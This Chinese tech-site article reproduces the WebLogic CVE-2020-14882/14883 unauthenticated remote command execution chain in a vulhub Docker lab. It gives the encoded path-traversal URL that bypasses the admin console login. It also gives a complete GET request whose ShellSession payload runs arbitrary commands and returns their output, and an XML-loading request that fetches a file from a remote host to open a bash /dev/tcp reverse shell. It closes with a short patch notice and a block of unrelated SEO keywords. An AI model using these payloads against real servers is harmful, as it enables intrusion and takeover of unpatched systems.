千家信息网

怎么实现weblogic未授权命令执行漏洞复现

发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,本篇文章为大家展示了怎么实现weblogic未授权命令执行漏洞复现,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。简介  WebLogic 是美国 Oracle
千家信息网最后更新 2026年11月01日怎么实现weblogic未授权命令执行漏洞复现

本篇文章为大家展示了怎么实现weblogic未授权命令执行漏洞复现,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。

简介

  WebLogic 是美国 Oracle 公司的主要产品之一,是商业市场上主要的 J2EE 应用服务器软件,也是世界上第一个成功商业化的 J2EE 应用服务器,在 Java 应用服务器中有非常广泛的部署和应用。

概述

  10 月 21 日,Oracle 官方发布数百个组件的高危漏洞公告。其中组合利用 CVE-2020-14882/CVE-2020-14883 可使未经授权的攻击者绕过 WebLogic 后台登录等限制,最终远程执行代码接管 WebLogic 服务器,利用难度极低,风险极大。

  此处漏洞均存在于 WebLogic 的控制台中。该组件为 WebLogic 全版本自带组件,并且该漏洞通过 HTTP 协议进行利用。

  CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

影响版本

WebLogic 10.3.6.0.0WebLogic 12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0

环境搭建

此处利用vulhub的环境进行复现,新建docker-compose.yml

version: '2'
services:
weblogic:
image: vulhub/weblogic:12.2.1.3-2018
ports:
- "7001:7001"

执行以下命令会下载镜像并以此镜像启动一个容器,映射的端口为7001

docker-compose up -d

漏洞复现

权限绕过漏洞(CVE-2020-14882)复现:

  因为CVE-2020-14882未授权访问漏洞是绕过管理控制台权限访问后台,所以需要存在console控制台,打开浏览器访问:

http://ip:port/console

  从上一步结果发现是存在管理控制台的,在正常访问console后台时会让我们输入账号密码。通过未授权访问,则可以直接绕过验证登录后台,漏洞

URL:/console/css/%252e%252e%252fconsole.portal

未授权访问控制台页面:

正常输入账号密码登录控制台页面:

通过对比可以看到通过未授权访问的后台与正常登陆的后台差异,由于权限不足,缺少部署等功能,无法安装应用,所以也无法通过后台部署war包等方式直接获取权限。"%252E%252E%252F"为二次url编码的"../",通过这个就可以实现穿越路径未授权访问相关管理后台。

后台任意命令执行漏洞(CVE-2020-14883)复现:

利用方式一

com.tangosol.coherence.mvel2.sh.ShellSession

但此利用方法只能在 Weblogic 12.2.1 及以上版本利用,因为 10.3.6 并不存在 com.tangosol.coherence.mvel2.sh.ShellSession 类。

在12.2.1.3版本执行"id"命令 burpsuite

GET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt(); HTTP/1.1
Host: 192.168.74.141:7001
Pragma: no-cache
cmd: id
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,en-US;q=0.6
Cookie: ADMINCONSOLESESSION=ufkDQ2w_WXPmMBVQWCpxVBrNdKxp4L58RhydPTssNxYAmgnYP-4Y!-326883263; ADMINCONSOLESESSION=lGPJf1JPnXR7pG1qZzw0xXmwGtMQcPpJ0GVJrg0pv0LGCS6LdH0g!1599365627
Connection: close

回显payload:

/console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt();

在10.3.6版本执行会报错

利用方式二

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

这是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。

首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,这里是执行一个反弹shell的操作,如

http://example.com/rce.xml:





/bin/bash
-c
& /dev/tcp/ip/1234 0>&1]]>



nc监听,然后执行一个get请求:

http://192.168.74.141:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://139.9.198.30/rce.xml")

nc监听的端口得到反弹shell

经过测试,该方法在12.2.1.3以及10.3.6版本都可以执行

漏洞修复

目前 Oracle 官方已发布了最新针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。Oracle 官方补丁需要用户持有正版软件的许可账号,使用该账号登陆 https://support.oracle.com 后,可以下载最新补丁。

上述内容就是怎么实现weblogic未授权命令执行漏洞复现,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注行业资讯频道。

漏洞 后台 命令 控制台 版本 控制 服务器 服务 权限 用户 应用 补丁 账号 管理 官方 方式 方法 组件 登录 内容 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 互联网科技活动banner 科技与互联网 互联网科技财经 互联网的科技创新 银优互联网科技有限公司 西安互联网科技公司 互联网科技上市公司 长亮科技互联网金融 互联网科技博客 佩信高科技互联网 阿里巴巴算科技企业还是互联网 团飞科技与伯堂互联网服务平台 厦门千工互联网科技有限公司 中和天地互联网科技有限公司 黑科技 体验场景 互联网大会 陕西云淼互联网科技公司 扫呗互联网科技有限公司 上海乐五互联网科技有限公司 版纳互联网科技选哪家 科技互联网经济论坛 深圳恒合互联网络科技有限公司 互联网科技小贷 互联网科技实习生岗位职责 互联网时代科技改变生活 互联网科技创新服务 注册互联网科技公司经营范围大全 特约风豹互联网科技为什么扣费 广州燕处互联网科技有限公司 互联网科技职业技能培训学校 颐高云石互联网科技
0